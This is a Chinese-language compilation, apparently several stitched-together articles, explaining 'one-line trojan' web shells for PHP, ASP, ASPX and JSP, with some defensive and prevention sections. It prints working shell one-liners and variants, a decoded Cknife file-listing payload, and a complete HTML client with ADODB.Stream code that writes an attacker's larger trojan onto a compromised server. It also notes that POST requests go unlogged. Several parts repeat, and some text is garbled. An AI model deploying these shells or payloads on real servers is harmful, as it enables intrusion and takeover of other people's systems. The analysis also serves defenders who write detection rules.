一句话木马原理详解
- 格式:doc
- 大小:12.00 KB
- 文档页数:3
一句话木马原理二、WEB一句话木马菜刀,Cknife,蚁剑这些工具原理比较接近,使用方法大家应该比较熟了,可能有些做渗透测试的朋友也没有了解过原理。
我们做防护规则,对常用的工具都会做分析,先以Cknife为例来分析这个系列。
2.1Ckinife连接2.1.1 PHP一句话连接Asp,aspx和PHP的连接原理比较接近,PHP最基础的一句话如下:<?php @eval($_POST['pass’]);?>通过Cknife等发包工具,把需要执行的php脚本片段,通过密码pass参数传给服务器端,服务器通过eval函数进行执行。
可以看出,一句话木马的本质是PHP,ASP(ASPX)语言具有eval函数,使之具有了动态性,基于动态性,攻击者就可以把命令传给服务器端的一句话木马进行执行,这些命令在config.ini作了定义。
发的请求包中,action参数用来传输base64编码后的命令,可能是考虑到特殊字符容易出问题或者不符合rfc协议之类的原因。
真正的连接密码pass,先对action参数做base64解密,然后传到服务器端执行。
我们把PHP命令做解码,得到@ini_set("display_errors","0");@set_time_limit(0);@set_magi c_quotes_runtime(0);echo("-|");;$D=base64_decode($_POST["z1"]);$F=@opendir($D);if($ F==NULL){echo("ERROR:// Path Not Found Or No Permission!");}else{$M=NULL;$L=NULL;while($N=@readdir($F)){ $P=$D."/".$N;$T=@date("Y-m-dH:i:s",@filemtime($P));@$E=substr(base_convert(@fileperms($P ),10,8),-4);$R="\t".$T."\t".@filesize($P)."\t".$E."";if(@is_dir($P))$M.=$N."/ ".$R;else $L.=$N.$R;}echo $M.$L;@closedir($F);};echo("|<-");die();可以看到通过循环遍历某个路径下的文件,其中路径又是通过z1参数base64编码进行传递,截图是查看C盘目录。
全面详尽剖析一句话asp木马所谓一句话插马,就是通过向服务端提交一句简短的代码来达到向服务器插入木马并最终获得webshell的方法。
它分为一句话asp马、一句话php马……,本文就一句话asp木马来做一次详尽的剖析。
在此首先要感谢前辈们的探究!一:基础篇首先我们看一下最常用的一句话木马客户端的代码<html><head><title>一句话客户端</title><style type="text/css"><!--body {background-color: #FFFFFF;}.lygf {border: 1px solid #660069;font-size: 12px;}--></style></head><body><table width="500" border="0" align="center" class="lygf" height="14" cellspacing="0"><tr><td height="1" width="794"><form name="lygf" method="post"><input name="add" type="text" id="add" size="97" value="http://"><input type="submit" value="枫" onClick="this.form.action=this.form.add.value;"><input type="hidden" name="fk" id="fk" value="Execute("Session(""fk"")=request(""*""):Execute(Session(""fk""))")"></td></tr><tr><td height="100" width="794"><textarea name="*" cols="100" rows="9" width="45">set lP=server.createObject("Adodb.Stream")lP.OpenlP.Type=2lP.CharSet="gb2312"lP.writetext request("lygf")lP.SaveToFile server.mappath("fk.asp"),2lP.Closeset lP=nothingresponse.redirect "fk.asp"</textarea></td></tr><tr><td height="1" width="794"><textarea name="lygf" cols="100" rows="15" width="45">写入你的大马</textarea></td></tr><tr><td width="794" height="7"><font color="#000000">提供六个服务端:</font><br>1. <%eval request("fk")%><br>2. <%execute request("fk")%><br>3. <%execute(request("fk"))%><br>4. <%On Error Resume Next%><%eval request("fk")%><br>5. <script language=VBScript runat=server>execute request("fk")</Script> <br>6. <script language=VBScript runat=server>eval request("fk")</Script><br><br>By 冷月孤枫枫客:/ ... t;/font><br></td></tr></table></body></html>把上面的代码另存为htm的格式后就可以使用了,具体的使用说明在网页上可以看到下面就带着大家一起分析一下上面的代码(html的一些最基本的知识就不做解释了):<title>一句话客户端</title> 显示在浏览器标题栏上面的文字,你可以自己更改<style type="text/css"><!--body {background-color: #FFFFFF; 背景颜色}.lygf {border: 1px solid #660099; 边框属性font-size: 12px; 字体大小}--> 本页面所要用到的样式<form name="lygf" method=post> 创建一个form对象,其中name的作用是用作一个枢纽把我们要插入的马的内容传递给form,以post方式提交给下面的连接,而不是get,用post提交IIS 是不记入日志的<input name="add" type="text" id="add" size="97" value="http://">创建一个用于提交的输入框(text)用于写地址(add),长度是97个字节,value=是默认的内容<input type="submit" value="枫" onClick="this.form.action=this.form.add.value;">创建一个按钮用于提交(submit),后面的部分是把上面value的值赋给form去post<input type="hidden" name="fk" id="fk" value="Execute("Session(""fk"")=request(""*""):Execute(Session(""fk""))")">通过建立一个隐藏域,把fk与下面name的值*关联,用session保存代码然后执行,这句借用了海洋的客户端,不过那样不怎么好用<textarea name="*" cols="100" rows="9" width="45"> textarea就是论坛中的发言框。
木马攻击原理一、什么是木马攻击?木马(Trojan horse)是一种常见的网络攻击手段,指的是通过在正常的程序或文件中隐藏恶意代码,以实现攻击者的恶意目的。
木马攻击可以隐藏于各种类型的文件中,例如图片、文档、音乐等等,这样一旦用户打开了这些文件,系统就会被感染,攻击者就能够获得对系统的控制权。
二、木马攻击的原理木马攻击的原理可以分为几个步骤:1. 伪装攻击者首先需要伪装木马程序,使其看起来像是一个合法的文件或程序。
他们会使用各种技术手段,例如改变文件的后缀名、隐藏文件扩展名或者伪装成系统程序,以躲避用户的警觉。
2. 传播一旦木马程序被伪装成功,攻击者需要将其传播给目标用户。
他们可以通过电子邮件、社交媒体、广告等途径将木马程序发送给用户。
一旦用户下载并打开了木马程序,系统就会被感染。
3. 植入一旦木马程序被用户打开,恶意代码就会被植入到系统中。
这些代码通常会利用系统的漏洞或者弱点,以获取系统的权限。
一旦攻击者获得了系统的控制权,他们就能够执行各种恶意操作,例如窃取用户的隐私信息、占用系统资源、控制系统行为等等。
4. 控制与劫持一旦木马程序在目标系统中植入成功,攻击者就能够远程控制系统,执行各种恶意操作。
他们可以通过远程命令控制(Remote Command Execution)来操纵系统行为,例如上传下载文件、修改系统配置、操纵网络连接等等。
此外,攻击者还可以劫持用户的网络连接,以拦截用户的通信数据,窃取敏感信息。
三、木马攻击的防范措施木马攻击带来的危害是巨大的,为了保障系统的安全,我们需要采取以下防范措施:1. 使用安全的密码使用强密码是防止木马攻击的第一步。
确保密码的复杂性,并不断更换密码,避免使用容易猜测的密码。
2. 安装防火墙和杀毒软件安装防火墙和杀毒软件可以有效阻止木马程序的入侵。
这些软件可以检测系统中的可疑活动,并及时阻止其执行。
3. 及时打补丁保持系统和软件的更新也非常重要。
及时打补丁可以修复系统中的漏洞和弱点,从而减少被木马攻击的概率。
php一句话木马原理PHP一句话木马原理。
PHP一句话木马是一种常见的网络攻击手段,它可以让攻击者在受害者的服务器上执行恶意代码,从而获取服务器的控制权。
在本文中,我们将深入探讨PHP一句话木马的原理,以帮助读者更好地理解和防范这种安全威胁。
首先,让我们来了解一下PHP一句话木马的基本原理。
一句话木马实际上是一段经过编码的恶意PHP代码,它通常非常短小,只有一行甚至几个字符。
攻击者可以将这段代码插入到受害者的网页文件中,然后通过浏览器访问这个被植入木马的网页,就可以执行其中的恶意代码。
这种攻击手段利用了PHP的动态特性,可以在不修改文件的情况下执行任意代码,因此非常隐蔽和危险。
接下来,我们来详细分析一下PHP一句话木马的原理。
首先,攻击者需要找到一个存在漏洞的网站,比如未经过滤的用户输入、文件上传漏洞等。
然后,攻击者就可以利用这些漏洞将一句话木马代码插入到网站的某个可访问的文件中。
一旦有用户访问了包含木马代码的页面,恶意代码就会被执行,从而实现攻击者的控制目的。
此外,PHP一句话木马还可以通过一些特殊的技术手段来进行加密和混淆,以逃避安全防护系统的检测。
攻击者可以利用base64编码、字符串拼接、变量替换等技术来隐藏木马代码,使其更难以被发现和清除。
这也给网站的安全防护带来了更大的挑战,需要采取更加严密的安全措施来保护网站和用户的数据安全。
针对PHP一句话木马的防范措施,首先是加强对网站的安全审计和漏洞修复工作。
网站管理员需要定期对网站进行安全检查,及时修复存在的漏洞和安全隐患,以防止攻击者利用这些漏洞进行攻击。
其次,加强对用户输入的过滤和验证,避免恶意代码的注入。
同时,也可以通过安全防护软件和WAF(Web应用防火墙)等技术手段来提高网站的安全性,及时发现并阻止恶意攻击。
总的来说,PHP一句话木马是一种常见而危险的网络安全威胁,攻击者可以利用它来获取服务器的控制权,从而对网站和用户数据造成严重危害。
PHP之⼀句话⽊马什么是⼀句话⽊马⼀句话⽊马就是只需要⼀⾏代码的⽊马,短短⼀⾏代码,就能做到和⼤马相当的功能。
为了绕过waf的检测,⼀句话⽊马出现了⽆数中变形,但本质是不变的:⽊马的函数执⾏了我们发送的命令。
我们如何发送命令,发送的命令如何执⾏?我们可以通过GET 、POST 、COOKIE这三种⽅式向⼀个⽹站提交数据,⼀句话⽊马⽤$_GET[' ']、$_POST[' ']、$_COOKIE[' ']接收我们传递的数据,并把接收的数据传递给⼀句话⽊马中执⾏命令的函数,进⽽执⾏命令。
所以看到的经典⼀句话⽊马⼤多都是只有两个部分,⼀个是可以执⾏代码的函数部分,⼀个是接收数据的部分。
例如:<?php eval(@$_POST['a']); ?>其中eval就是执⾏命令的函数,$_POST['a']就是接收的数据。
eval函数把接收的数据当作PHP代码来执⾏。
这样我们就能够让插⼊了⼀句话⽊马的⽹站执⾏我们传递过去的任意PHP语句。
这便是⼀句话⽊马的强⼤之处。
⽰例:使⽤其他函数制作⼀句话⽊马assert函数<?php assert(@$_POST['a']); ?>create_function函数<?php$fun = create_function('',$_POST['a']);$fun();>把⽤户传递的数据⽣成⼀个函数fun(),然后再执⾏fun()call_user_func回调函数<?php@call_user_func(assert,$_POST['a']);>call_user_func这个函数可以调⽤其它函数,被调⽤的函数是call_user_func的第⼀个函数,被调⽤的函数的参数是call_user_func的第⼆个参数。
java的一句话木马作为一种计算机恶意软件,Java木马是利用Java编程语言编写的程序,它具有隐藏性和潜伏性,可以在未经用户许可的情况下,远程控制或操纵被感染的计算机系统。
Java木马可以对计算机系统进行非法操作、窃取用户隐私信息、传播病毒等,给用户和系统带来严重的安全风险。
一个简单的Java木马可以通过网络传播并执行其恶意代码。
在第一次运行时,木马程序会嵌入到目标系统的内存中,并将自己添加到系统启动项或进程列表中,以确保在每次系统启动时自动运行。
此后,木马程序会定期与控制服务器建立连接,接收远程指令,并执行相应的操作。
Java木马的主要特点之一是其隐藏性。
为了避免被发现,它通常会使用伪装技术,将自己伪装成合法的Java应用程序或系统进程。
这使得Java木马非常难以被普通用户或安全软件察觉。
另一个特点是Java木马的潜伏性。
一旦感染了目标系统,它会尽可能地隐藏自己,避免被用户察觉。
它可以通过修改系统文件、禁用安全软件、隐藏进程等手段,使自己更难以被发现和删除。
Java木马还具有远程控制和操纵被感染系统的能力。
攻击者可以通过控制服务器发送指令给木马,实现远程控制目标系统的功能。
这包括获取系统信息、窃取用户登录凭证、执行恶意操作、传播病毒等。
除了上述功能,Java木马还可以具备其他恶意行为。
例如,它可以利用系统漏洞,传播自身或其他病毒。
它也可以修改系统配置,损害系统的稳定性和安全性。
此外,Java木马还可能窃取用户的个人隐私信息,如银行账号、密码、身份证号码等,用于非法活动或牟取利益。
为了保护计算机系统免受Java木马的侵害,用户应该采取以下预防措施:1.定期更新操作系统和软件补丁,以修复已知漏洞。
2.下载软件和文件时,应仔细检查其来源和完整性,避免下载和运行不明来源的文件。
3.安装可信的安全软件,并进行定期更新和全面扫描,以检测和清除潜在的木马程序。
4.不随意点击可疑链接或打开垃圾邮件附件,以避免误下载木马程序。
php get一句话木马一句话木马是指由一句简短的PHP代码组成的恶意程序,它通常被用来攻击网站。
被攻击的网站会有一个被植入的含有一句话木马的PHP文件,这个文件可以让黑客远程控制网站,对网站进行各种操作,如上传、下载、删除文件,修改数据库等。
一句话木马的定义一句话木马(One Line Trojan Horse),也叫做一句话后门,是一种简单、直接的攻击方式。
一句话木马通常是指一行简短的PHP代码,可以在Web服务器上运行,实现代码执行的功能。
因为一句话代码很短小,所以便于黑客进行隐藏和传播。
然而,一旦黑客成功地在受害者网站上植入了一句话木马,那么他们就可以远程控制受害者网站,进行各种非法操作。
一句话木马具有以下特点:1. 隐藏性高。
一句话木马只需要一句短小的PHP代码即可实现功能,而且代码很容易隐藏起来,常常被植入在正常代码中,难以被发现。
2. 传播速度快。
一旦黑客成功地在受害者网站上植入了一句话木马,那么他们就可以利用蠕虫等恶意程序快速传播,感染更多的网站。
3. 控制权限高。
一旦黑客远程控制受害者网站,他们就可以在没有管理员权限的情况下,修改、删除、上传、下载网站文件,随意操作网站。
一句话木马攻击手段一句话木马的攻击手段大致可以分为以下几种:1. 利用文件上传漏洞。
黑客通过网站上的文件上传功能,上传一句话木马到网站服务器上。
2. 利用SQL注入漏洞。
黑客通过SQL注入漏洞,执行一句话木马的PHP代码。
3. 利用其他漏洞。
黑客通过其他漏洞,如CMS漏洞或者WEB服务器漏洞,实现植入一句话木马的目的。
一句话木马防范措施为了避免遭受一句话木马攻击,网站管理员应该采取以下几个防范措施:1. 对于文件上传功能,应该限制上传的文件类型和大小,并对上传的文件进行严格的过滤。
2. 对于SQL注入漏洞,应该对数据库进行良好的保护,并避免将数据库密码等敏感信息泄露出去。
3. 对于CMS漏洞或WEB服务器漏洞,应该及时安装相关的安全补丁,并对网站进行全面的安全检查。
主题:get post 一句话木马一句话木马是一种具有隐蔽性和恶意攻击性的黑客工具,能够在不经用户同意的情况下植入目标计算机系统,并实施远程控制和窃取信息等恶意行为。
本文将从以下几个方面对一句话木马进行深入分析和探讨。
一、一句话木马的定义和特点一句话木马,顾名思义,是指可以通过一句简短的代码完成植入和执行的木马程序。
一般情况下,黑客通过对全球信息站或软件漏洞的利用,将一句话木马代码植入到目标系统中。
一句话木马的特点主要包括植入隐蔽、攻击性强、执行效率高等方面。
二、一句话木马的危害性一句话木马的危害性主要体现在以下几个方面:1. 窃取用户信息:黑客可以利用一句话木马获取用户的账号、密码、唯一识别号信息等重要数据。
2. 远程控制:黑客可以借助一句话木马远程控制目标系统,执行恶意操作,并对系统进行篡改和破坏。
3. 传播恶意软件:一句话木马还可以被黑客利用来传播其他恶意软件,扩大感染范围,造成更大的危害。
三、如何防范一句话木马的攻击针对一句话木马的攻击,我们可以采取以下一些有效的防范措施:1. 及时更新系统和软件:及时修补系统和软件漏洞,可以有效降低黑客利用漏洞植入一句话木马的机会。
2. 安装安全防护软件:安装杀毒软件、防火墙等安全防护软件,可以及时发现和清除一句话木马。
3. 加强用户安全意识:提高用户安全意识,谨慎下载和安装来历不明的软件,不随意点击可疑信息等,可以有效减少一句话木马的感染机会。
四、一句话木马的未来趋势随着网络技术的不断发展和黑客攻击手段的日益复杂,一句话木马也在不断演变和升级。
未来一句话木马可能会向着更加隐蔽、智能化、自适应等方向发展,给网络安全带来更大的挑战。
我们需要进一步加强对一句话木马的研究和防范,不断提高网络安全防护水平,确保网络安全和信息安全。
一句话木马作为一种具有隐蔽性和攻击性的黑客工具,对网络安全构成严重威胁。
我们需要加强对一句话木马的了解和防范,提高网络安全意识,共同维护网络安全和信息安全。
⼀句话⽊马的原理及利⽤其实我还是有点没太明⽩,ASP⼀句话⽊马,感觉和PHP⼀句话有点不太⼀样,,等有机会⼀定要⾯对⾯和⼤佬请教请教⼀句话⽊马的原理及利⽤(asp,aspx,php,jsp)⼀句话⽊马的适⽤环境:1.服务器的来宾账户有写⼊权限2.已知数据库地址且数据库格式为asa或asp3.在数据库格式不为asp或asa的情况下,如果能将⼀句话插⼊到asp⽂件中也可⼀句话⽊马的⼯作原理:"⼀句话⽊马"服务端(本地的html提交⽂件)就是我们要⽤来插⼊到asp⽂件中的asp语句,(不仅仅是以asp为后缀的数据库⽂件),该语句将回为触发,接收⼊侵者通过客户端提交的数据,执⾏并完成相应的操作,服务端的代码内容为 <%execute request("value")%> 其中value可以⾃⼰修改"⼀句话⽊马"客户端(远程服务器上被插⼊⼀句话的asp⽂件)⽤来向服务端提交控制数据的,提交的数据通过服务端构成完整的asp功能语句并执⾏,也就是⽣成我们所需要的asp⽊马⽂件现在先假设在远程主机的TEXT.ASP(客户端)中已经有了<%execute request("value")%>这个语句.)在ASP⾥<%execute ............")%>意思是执⾏省略号⾥的语句.那么如果我写进我们精⼼构造的语句,它也是会帮我们执⾏的.就按照这上⾯的思路,我们就可以在本地构造⼀个表单内容如下:(//为注释)<textarea name=value cols=120 rows=10 width=45>set lP=server.createObject("Adodb.Stream")//建⽴流对象lP.Open //打开lP.Type=2 //以⽂本⽅式lP.CharSet="gb2312" //字体标准lP.writetext request("newvalue")lP.SaveToFile server.mappath("newmm.asp"),2 //将⽊马内容以覆盖⽂件的⽅式写⼊newmm.asp,2就是已覆盖的⽅式lP.Close //关闭对象set lP=nothing //释放对象response.redirect "newmm.asp" //转向newmm.asp</textarea><textarea name=newvalue cols=120 rows=10 width=45>添⼊⽣成⽊马的内容</textarea><BR><center><br><input type=submit value=提交></form>表单的作⽤就是把我们表单⾥的内容提交到远程主机的TEXT.ASP这个⽂件.然后因为TEXT.ASP⾥有<%execute request("value")%>这句,那么这句代码就会执⾏我们从表单⾥传来的内容哦.(表单名必须和<%execute request("value")%>⾥的VALUE⼀样,就是我⽤蓝⾊标记的那两处,必须相等)说到这⾥⼤家是不是清楚了.我们构造了两个表单,第⼀个表单⾥的代码是⽂件操作的代码(就是把第⼆个表单内的内容写⼊在当前⽬录下并命名为newvalue.ASP的这么⼀段操作的处理代码)那么第⼆个表单当然就是我们要写⼊的马了.具体的就是下⾯这⼀段:set lP=server.createObject("Adodb.Stream")//建⽴流对象lP.Open //打开lP.Type=2 //以⽂本⽅式lP.CharSet="gb2312" //字体标准lP.writetext request("newvalue")lP.SaveToFile server.mappath("newvalue.asp"),2 //将⽊马内容以覆盖⽂件的⽅式写⼊newmm.asp,2就是已覆盖的⽅式lP.Close //关闭对象set lP=nothing //释放对象response.redirect "newmm.asp" //转向newmm.asp这样的话第⼆个表单的名字必须和lP.writetext request("newvalue") ⾥的Newvalue⼀样,就是我⽤红⾊标注的那两处.⾄此只要服务器有写的权限你表单所提交的⼤马内容就会被写⼊到newmm.asp中。
一句话木马的原理及利用(asp,aspx,php,jsp)一句话木马的适用环境:1.服务器的来宾账户有写入权限2.已知数据库地址且数据库格式为asa或asp3.在数据库格式不为asp或asa的情况下,如果能将一句话插入到asp文件中也可一句话木马的工作原理:"一句话木马"服务端(本地的html提交文件)就是我们要用来插入到asp文件中的asp语句,(不仅仅是以asp为后缀的数据库文件),该语句将回为触发,接收入侵者通过客户端提交的数据,执行并完成相应的操作,服务端的代码内容为<%execute request("value")%> 其中value可以自己修改"一句话木马"客户端(远程服务器上被插入一句话的asp文件)用来向服务端提交控制数据的,提交的数据通过服务端构成完整的asp功能语句并执行,也就是生成我们所需要的asp木马文件现在先假设在远程主机的TEXT.ASP(客户端)中已经有了<%execute request("value")%>这个语句.)在ASP里<%execute ............")%>意思是执行省略号里的语句.那么如果我写进我们精心构造的语句,它也是会帮我们执行的.就按照这上面的思路,我们就可以在本地构造一个表单内容如下:(//为注释)<form action=http://主机路径/TEXT.asp method=post><textarea name=value cols=120 rows=10 width=45>set lP=server.createObject("Adodb.Stream")//建立流对象lP.Open //打开lP.Type=2 //以文本方式lP.CharSet="gb2312" //字体标准lP.writetext request("newvalue")lP.SaveToFile server.mappath("newmm.asp"),2 //将木马内容以覆盖文件的方式写入newmm.asp,2就是已覆盖的方式lP.Close //关闭对象set lP=nothing //释放对象response.redirect "newmm.asp" //转向newmm.asp</textarea><textarea name=newvalue cols=120 rows=10 width=45>添入生成木马的内容</textarea><BR><center><br><input type=submit value=提交></form>表单的作用就是把我们表单里的内容提交到远程主机的TEXT.ASP这个文件.然后因为TEXT.ASP里有<%execute request("value")%>这句,那么这句代码就会执行我们从表单里传来的内容哦.(表单名必须和<%execute request("value")%>里的V ALUE一样,就是我用蓝色标记的那两处,必须相等)说到这里大家是不是清楚了.我们构造了两个表单,第一个表单里的代码是文件操作的代码(就是把第二个表单内的内容写入在当前目录下并命名为newvalue.ASP的这么一段操作的处理代码)那么第二个表单当然就是我们要写入的马了.具体的就是下面这一段:set lP=server.createObject("Adodb.Stream")//建立流对象lP.Open //打开lP.Type=2 //以文本方式lP.CharSet="gb2312" //字体标准lP.writetext request("newvalue")lP.SaveToFile server.mappath("newvalue.asp"),2 //将木马内容以覆盖文件的方式写入newmm.asp,2就是已覆盖的方式lP.Close //关闭对象set lP=nothing //释放对象response.redirect "newmm.asp" //转向newmm.asp这样的话第二个表单的名字必须和lP.writetext request("newvalue") 里的Newvalue一样,就是我用红色标注的那两处.至此只要服务器有写的权限你表单所提交的大马内容就会被写入到newmm.asp中。
一句话木马原理详解
eval(Request.form('#')+'')
来解释下它的原理.
首先是JavaScript脚本的开始标记,其中RUNA T属性的值SERVER表示脚本将在服务器端运行,后面的eval是一句话木马的精华部分,使用eval方法的话它里面的字符串将会被执行,这样当脚本在服务器端运行的时候同时也执行了Request.form('#')+''这句代码,Request.form('#')的作用是读取客户端文件中html标记属性中name 值被命名为#的部分,例如如下摘自一句话客户端的代码:
set iP=server.createObject("Adodb.Stream")
iP.Open
iP.Type=2
iP.CharSet="gb2312"
iP.writetext request("aoyun")
iP.SaveToFile server.mappath("aoyunwan.asp"),2
iP.Close
set iP=nothing
response.redirect "aoyunwan.asp"
学过html的朋友应该注意到了在textarea标记中的name属性被
赋值为#,也就是服务器端就是要读取其中的代码(使用Request.form('#')),然后执行(使用eval(Request.form('#')+'')),也就是执行了:
set iP=server.createObject("Adodb.Stream")
iP.Open
iP.Type=2
iP.CharSet="gb2312"
iP.writetext request("aoyun")
iP.SaveToFile server.mappath("aoyunwan.asp"),2
iP.Close
set iP=nothing
response.redirect "aoyunwan.asp"
学过asp的朋友应该看的懂,上面代码的意思是首先创建一个流对象ip,然后使用该对象的writetext方法将request("aoyun")读取过来的内容(就是我们常见的一句话客户端的第二个textarea标记中的内容,也就是我们的大马的代码)写入服务端的aoyunwan.asp文件中,写入结束后使用set iP=nothing 释放Adodb.Stream对象然后使用response.redirect "aoyunwan.asp" 转向刚才写入大马代码的文件,也就是我们最后看见的大马了!
不过一句话木马能成功的条件依赖于两个条件:一、服务器端没有禁止Adodb.Stream组件,因为我们使用一句话木马写入大马代码的条件是服务器端创建Adodb.Stream组件,如果该组件被禁用的话
是不会写入成功的!还有就是权限的问题,如果当前的虚拟目录禁止user组或者everyone写入操作的话那么也是不会成功的。